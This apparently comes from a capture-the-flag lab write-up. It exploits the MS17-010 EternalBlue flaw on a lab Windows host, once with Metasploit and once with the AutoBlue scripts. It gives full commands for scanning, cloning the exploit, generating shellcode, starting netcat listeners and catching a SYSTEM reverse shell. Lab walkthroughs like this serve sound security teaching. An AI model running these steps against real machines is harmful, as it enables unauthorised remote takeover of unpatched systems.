-oN = Outputs scan results into a file named “nmap” using the nmap format

Interestingly we don’t have typical services running like SSH, and FTP. Also no web server being hosted, on port 80. This is important because it tells us something about our initial attack vector. We don’t have FTP, or a Web server to exploit for our initial access. So we will focus on the SMB range of ports which are 135, 139, and specifically 445.

Now I will continue use nmap to gather more information about our target. To see what Nmap scripts we have available we can do the following ls command. We’ll use smb-vuln* to show all scripts related to SMB vulnerabilities.

ls -ls /usr/share/nmap/scripts/smb-vuln*

I could run a scan that checked for all the smb vulnerabilities in nmap.

nmap –script=smb-vuln* 172.31.1.10

However that takes awhile, and either way you’ll reveal the same information. Let’s run the following nmap script scan to check if the target is vulnerable to MS17-010.

nmap -p 445 172.31.1.10 –script=smb-vuln-ms17-010

In the Host script results section we see the target is vulnerable to MS17-010. Otherwise known as Eternal Blue! The name of the box is a dead giveaway.

Searching for MS17-010 Exploits

An excellent tool we can use to find exploits quickly, is the Searchsploit command. Which searches the local Exploit-DB repository on Kali Linux.

There’s multiple exploits available, including a couple Metasploit modules.

Exploiting Eternal Blue – Metasploit Route

I’ll explain a bit about Metasploit since this box is aimed at beginner’s.

The Metasploit Framework is a suite of tools that allows you to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. It’s truly the Pentesters best friend, especially when you are starting out.

msfconsole

This will launch the Metasploit framework console.

At the msf5 prompt. Search for MS17-010 modules. We want to use exploit/windows/smb/ms17_010_etnernalblue. Show the options, and as usual we need to set the remote hosts IP address, the RHOSTS parameter. Set RHOSTS to 172.31.1.10.

*Search MS17-010*
*Use exploit/windows/smb/ms17_010_eternalblue*
*Options*
*set RHOSTS 172.31.1.10*

Always a good idea to confirm the module parameters are correct before launching your exploit. Type “options” to show the module options.

*Confirm exploit parameters. Verify RHOSTS address is 172.31.1.10*

The exploit is ready to go. Type “run” or if you want to feel more like a hacker you can use “exploit” as well to launch the exploit.

I’ve seen this exploit fail a few times, before it eventually succeeds, if your exploit doesn’t work the first try, be patient. The exploit results in a simple CMD shell, so you don’t have a Meterpreter prompt to interact with. I simply started typing something like the “whoami” command. This confirms we have a NT Authority SYSTEM shell. From this shell, we could capture both the user flag, and the root flag. Boom. Done.

Exploitation with AutoBlue

So you’ve seen how easy Eternal Blue is to exploit with Metasploit. Now we will use a more manual way of exploiting Eternal Blue which can be located here.

To get started, git clone the repository to your local machine or download the files from Github. CD into the AutoBlue directory, and you’ll several exploit files and and shellcode folder. Before we go any further lets confirm this exploit will work on our target. To do this I run the Eternal_Checker.py script. It tells us that the target is not patched, indicating the presence of the vulnerability.

AutoBlue also includes a exploit that relies on a named piped. To test this we can attempt to run the zzz_exploit.py script. This will fail, and you’ll note in the status it tells us that it could not find an accessible named pipe.

*git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git*
*cd AutoBlue-MS17-010*
ls
*python eternal_checker.py 172.31.1.10*
*python zzz_exploit.py 172.31.1.10*

If we navigate into the shellcode directory, we find a helpful script named shell_prep.sh. This is not necessary as all this script does is generate a payload using msfvenom. You can easily do this yourself, but since this is included I wanted to demonstrate how it works. It’s also helpful, in that it generates the payload, and displays the msfvenom syntax its using to build the payload. Just copy that line and run it to generate the same payload.

I set my LHOST, and the ports for both x86, and x64 listeners. This is important, if you aren’t sure if the target is 64-bit or 32-bit architecture. I’m opting to build a regular ole CMD shell instead of a Meterpreter shell. I’m also selecting to make this payload a “stageless” payload. This means the entire payload will be sent at once, instead of in “stages”. Each payload is generated with msfvenom, 64 bit and 32 bit and stored in the shellcode directory.

With our payloads generated, we need to setup our listeners on the ports we specified in our shell_prep. Those are 4444 and 4446. Now, AutoBlue also includes a listener_prep.sh script. However, I won’t be using this since all we need here is a simple netcat listener setup for each port. Go ahead and start a netcat listener in a new terminal window.

nc -lvnp 4444
nc -lvnp 4446

-l = listener mode
-v = verbose output
-n = no name resolution. Doesn’t perform DNS lookups
-p = local port

With your netcat listener running, its time to launch the exploit. AutoBlue includes exploits for multiple Windows operating systems, and for this target we will use the eternablue_exploit7.py script. You’ll need to specify the target IP address, and the path to the sc_all.bin file. This is located inside the shellcode directory. Now, run the exploit.

*Launching the exploit.*
*python eternalblue_exploit7.py 172.31.1.10 /root/CSL/Eternal/AutoBlue-MS17-010/shellcode/sc_all.bin*

You should almost instantly receive a reverse shell connection to your netcat listener. If you don’t get a reverse shell within a few seconds, double check you have everything set correctly. I received this on port 4444 which indicates the target is 64-bit architecture. I type in the “whoami” command to confirm that our shell is indeed running as NT Authority SYSTEM.

*Receiving the NT Authority reverse shell on port 4444 using a Netcat listener.*
*nc -lvnp 4444*
*whoami*
*hostname*

Thanks for reading, I hope you found this helpful.

Stay tuned for more write-ups, walk-through’s and more.